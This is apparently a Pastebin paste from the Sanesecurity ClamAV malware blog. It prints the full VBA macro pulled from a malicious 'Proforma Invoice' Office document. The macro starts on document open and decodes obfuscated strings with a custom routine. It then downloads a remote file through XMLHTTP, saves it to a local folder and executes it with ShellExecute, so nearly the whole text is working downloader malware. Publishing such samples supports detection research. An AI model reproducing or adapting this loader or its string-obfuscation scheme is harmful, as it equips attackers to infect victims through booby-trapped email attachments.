Advertisement
Sanesecurity

Proforma Invoice decoded

Jan 20th, 2015
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.03 KB | None | 0 0
  1. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  2. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  3. http://sanesecurity.blogspot.co.uk/
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. Sub uiwefds()
  14. TestingTheCode
  15. End Sub
  16. Sub AutoOpen()
  17. uiwefds
  18. End Sub
  19. Sub Workbook_Open()
  20. uiwefds
  21. End Sub
  22. Function H1Ow3ak(ByVal vWebFile As String, ByVal vLocalFile As String) As Boolean
  23. Dim lGCG As Long, vFF As Long, oResp() As Byte
  24. Dim SHjTQi As Variant
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31. Set oXMLHTTP = CreateObject(Fe5OknS("0twX11c55d12b4L5132t0jY1155I11X40THO75g06K9a0VhEQe0l6H151T320H11ai5511P4o0108r0m126Y0z1M26k01R20N04DpG"))
  32. Dim fb5av As Byte
  33. oXMLHTTP.Open Fe5OknS("dbts2I20121qrcB510313k9260J4UhS7"), vWebFile, False
  34. Dim aVXAWg As Byte
  35. oXMLHTTP.Send
  36. Dim Lki1CNFc As String
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48. oResp = oXMLHTTP.responseBody
  49. Dim UfkdQdNI As Currency
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56. vFF = FreeFile
  57. Dim Cqof5C As Currency
  58. If Dir(vLocalFile) <> "" Then Kill vLocalFile
  59. Dim GrEYSHj As Object
  60. Open vLocalFile For Binary Access Write As #vFF
  61. Dim vv0aa As Variant
  62. Put #vFF, , oResp
  63. Dim XFcLk As Object
  64. Close #vFF
  65. Dim BeadIsF As Currency
  66.  
  67. Set oXMLHTTP = Nothing
  68. Dim QeVkdIP As Boolean
  69. Dim xlapp As Object
  70. Dim Bgg8Irqgg As Double
  71. Set xlapp = CreateObject(Fe5OknS("LXY11U3WMh2b8ScA1U6U64C16sqX16Y1bdc7gh28G1x7t28jo7U3TeGcP6H1l55OK2XuZ17k92HT17q9KXlnLS211fJ16Puxo21Sj7ky28z168wa0HKp1sVYT5m84DME15ox5218kQT5QV6Z1qu680Oll177kbRy6by176PJ0aczLp"))
  72. Dim uUSHG As Variant
  73. xlapp.ShellExecute Environ(Fe5OknS("NECx26a0n42p13B9MlIN612m312E387O248TQ0crMt")) & Fe5OknS("mBR2U9sd2s5tG1dqVx5c0gPf52tTuk5k0me5yBS15Kgw2LsLAF410ku1vI5w0Y5P1yYfL5i2cbox46EM1Fo0w1eaN120Z10u1quhJE")
  74. Dim aiOX As Date
  75. End Function
  76. Sub TestingTheCode()
  77. Dim TLc As Byte
  78. FHbjkjkjl = Fe5OknS("wc0f4HH472CW4988f49x88t4s8162I494n2X021ig2d02143kv4346x87Z49vi4519xJ3546MW87e4343Y4k300c45R1p54sC343473ZA0O4945B43k43c4902VoeViY612m43507O4E45es15u4m257D4343gv1978QJu45154pX730k43T864F773fad20214s5Y5849f45HW2t021f4214r451E5tI4730R1h978X4z343H516Bp043Vu43O8QR")
  79. Dim csBg7Uk As Object
  80.  
  81.  
  82.  
  83.  
  84.  
  85. H1Ow3ak FHbjkjkjl, Environ(Fe5OknS("dpAd109z2Jm897wvSKGBku1m8ku131001Yrv104Ygf0Pdoh")) & Fe5OknS("0QB0w88k3Q2TfZqh48u9v64y8pR0i0l4fA9yJ9b2g4800UVXrRp48Ra96zHX4p9l92iFoSYo211UCD96Mqj48u00Tb4h8c96KX4Auik992Fq44t1G6dog96x9b6WU1wF152G0H9S69Jez6mOuyB")
  86.  
  87. End Sub
  88. Function Fe5OknS(InputStringToBeDecrypted As String) As String
  89. Dim hKXPe6UQt As String
  90. Dim NIM7U3OHC As Byte
  91. Dim wfplLuj As String
  92. Dim E4IKSwHoMuU As Date
  93. Dim HZe As String
  94. Dim Ae3OiJIwM As Date
  95. Dim DvLqAgFnNK As String
  96. Dim dDAbaQ5UnHC As Byte
  97. Dim logFek5AMr As String
  98. Dim wHKoamG As Byte
  99. Dim qy7OcMAXB As Integer
  100. Dim hCD2ajLf As Byte
  101. Dim g8IN2UsQvHE As Integer
  102. Dim bXbT As Currency
  103. On Error GoTo ErrorHandler
  104. Dim JyXsn As Long
  105. strTempText = InputStringToBeDecrypted
  106. Dim qVd As Date
  107. hKXPe6UQt = strTempText
  108. Dim wmP As Object
  109. wfplLuj = ""
  110. Dim BZHge1O As Byte
  111. hKXPe6UQt = Left(hKXPe6UQt, Len(hKXPe6UQt) - 4)
  112. Dim lgUvhe As String
  113. hKXPe6UQt = Right(hKXPe6UQt, Len(hKXPe6UQt) - 4)
  114. Dim B3aOD As Object
  115. nCharSize = 0
  116. Dim RgZ7Iy3OU As Long
  117. Call Extract_Char_Size(hKXPe6UQt, nCharSize)
  118. Dim cc6Imhjw6Ak As Object
  119. Call Extract_Enc_Key(hKXPe6UQt, nCharSize, nEncKey)
  120. Dim RbgZM4EED As Byte
  121. nTextLenght = Len(hKXPe6UQt)
  122. Dim LVYCnAUOD As Object
  123. For nCounter = 1 To Len(hKXPe6UQt) Step nCharSize
  124. Dim aOoKGJnY As Boolean
  125. DvLqAgFnNK = Mid(hKXPe6UQt, nCounter, nCharSize)
  126. Dim rer4O7Y06AVQR As Date
  127. nChar = uepu7At5S(DvLqAgFnNK)
  128. Dim Nj3UK8ahVULL As Currency
  129. nChar2 = nChar / nEncKey
  130. Dim h7BdAL As Long
  131. logFek5AMr = Chr(nChar2)
  132. Dim lXjE As Byte
  133. wfplLuj = wfplLuj + logFek5AMr
  134. Dim tuA As Boolean
  135. Next nCounter
  136. Dim NtCj As Date
  137. Dim mgiwh8A As Object
  138. Dim ccqLVYCnAU As Currency
  139. wfplLuj = Trim(wfplLuj)
  140. Dim ioikN6O As Object
  141. Fe5OknS = wfplLuj
  142. Dim tpPNnmcc As Byte
  143. Exit Function
  144. ErrorHandler:
  145. Dim Ot8OeFE8a1PI As Date
  146. End Function
  147.  
  148.  
  149. Sub Extract_Char_Size(ByRef hKXPe6UQt, ByRef nCharSize)
  150. Dim n8U2ORbX As Object
  151. DecryptParts = DecryptParts & "/Extract_Char_Size/"
  152. Dim tDkIq As Date
  153. nLeft = Len(hKXPe6UQt) \ 2
  154. Dim Uv6aCa1UqL As Boolean
  155. strLeft = Left(hKXPe6UQt, nLeft)
  156. Dim rjIhnijNj As String
  157. Dim NsfHbXbTqQ As Date
  158. nRight = Len(hKXPe6UQt) - nLeft
  159. Dim ySlK7E4EE As Byte
  160. strRight = Right(hKXPe6UQt, nRight)
  161. Dim JWOdWB As Object
  162. Dim Zpwdm3aO As Variant
  163. strKeyEnc = Right(strLeft, 2)
  164. Dim A1amPTBZ1I As Date
  165. strKeySize = Left(strRight, 2)
  166. Dim wm6n4I As Long
  167. strKeyEnc = vMFj(strKeyEnc)
  168. Dim eFEtuAPI As Date
  169. strKeySize = vMFj(strKeySize)
  170. Dim YtpskWioik As Object
  171. nKeyEnc = Val(strKeyEnc)
  172. Dim raWZEpC As String
  173. nKeySize = Val(strKeySize)
  174. Dim qdqM4aKKCRX As Variant
  175. nCharSize = nKeySize - nKeyEnc
  176. Dim clpT As Currency
  177. hKXPe6UQt = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  178. Dim ybO7amlb As String
  179. End Sub
  180.  
  181. Function vMFj(ByVal cString As String) As String
  182. DecryptParts = DecryptParts & "/ vMFj/"
  183. Dim o1AeBMeKv As Boolean
  184. For nCounter = 1 To Len(cString)
  185. Dim re2UX As String
  186. DvLqAgFnNK = Mid(cString, nCounter, 1)
  187. Dim GWe As Object
  188. If IsNumeric(DvLqAgFnNK) Then
  189. Dim YwyWVL2iD As Currency
  190. Dim aNoJFIm4 As Long
  191. strTempString = strTempString + DvLqAgFnNK
  192. Dim X5E0a As Variant
  193. Else
  194. strTempString = strTempString + "0"
  195. Dim IuJrn As Byte
  196. End If
  197. Next nCounter
  198. Dim NtCj As Date
  199. Dim mgiwh8A As Object
  200. Dim ccqLVYCnAU As Currency
  201. vMFj = strTempString
  202. Dim Ok3UL2ayWVLL As Currency
  203. End Function
  204.  
  205. Function uepu7At5S(strTempText As String) As Integer
  206. DecryptParts = DecryptParts & "/ uepu7At5S/"
  207. Dim ShnEMeB As Date
  208. strTempText = Trim(strTempText)
  209. Dim h6AACeBM As Long
  210. For nCounter = 1 To Len(strTempText)
  211. Dim r7OC As String
  212. DvLqAgFnNK = Mid(strTempText, nCounter, 1)
  213. Dim EXf2KPIu As Long
  214. If IsNumeric(DvLqAgFnNK) Then
  215. Dim YwyWVL2iD As Currency
  216. Dim aNoJFIm4 As Long
  217. hKXPe6UQt = hKXPe6UQt + DvLqAgFnNK
  218. Dim nAF As Double
  219. End If
  220. Next nCounter
  221. Dim NtCj As Date
  222. Dim mgiwh8A As Object
  223. Dim ccqLVYCnAU As Currency
  224. nResult = Val(hKXPe6UQt)
  225. Dim RcgaN7UFEtt As Currency
  226. uepu7At5S = nResult
  227. Dim fGFu1ASmg As Long
  228. End Function
  229.  
  230. Sub Extract_Enc_Key(ByRef hKXPe6UQt, ByVal nCharSize, ByRef nEncKey)
  231. Dim pvclTrZ As Object
  232. DecryptParts = DecryptParts & "/Extract_Enc_Key/"
  233. Dim G2UBMeK8ENo As Double
  234. strEncKey = vbNullString
  235. Dim k0AXfLU As Variant
  236. qy7OcMAXB = Len(hKXPe6UQt) - nCharSize
  237. Dim uJ0I As Variant
  238. nLeft = qy7OcMAXB \ 2
  239. Dim HclpTFRkfT As Variant
  240. strLeft = Left(hKXPe6UQt, nLeft)
  241. Dim rjIhnijNj As String
  242. Dim NsfHbXbTqQ As Date
  243. nRight = qy7OcMAXB - nLeft
  244. Dim PI8f As Double
  245. strRight = Right(hKXPe6UQt, nRight)
  246. Dim JWOdWB As Object
  247. Dim Zpwdm3aO As Variant
  248. strEncKey = Mid(hKXPe6UQt, nLeft + 1, nCharSize)
  249. Dim elC1I5 As Currency
  250. strEncKey = vMFj(strEncKey)
  251. Dim etmDLqA As Byte
  252. nEncKey = Val(Trim(strEncKey))
  253. Dim DhT As Date
  254. hKXPe6UQt = strLeft + strRight
  255. Dim Sa7I As Variant
  256. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement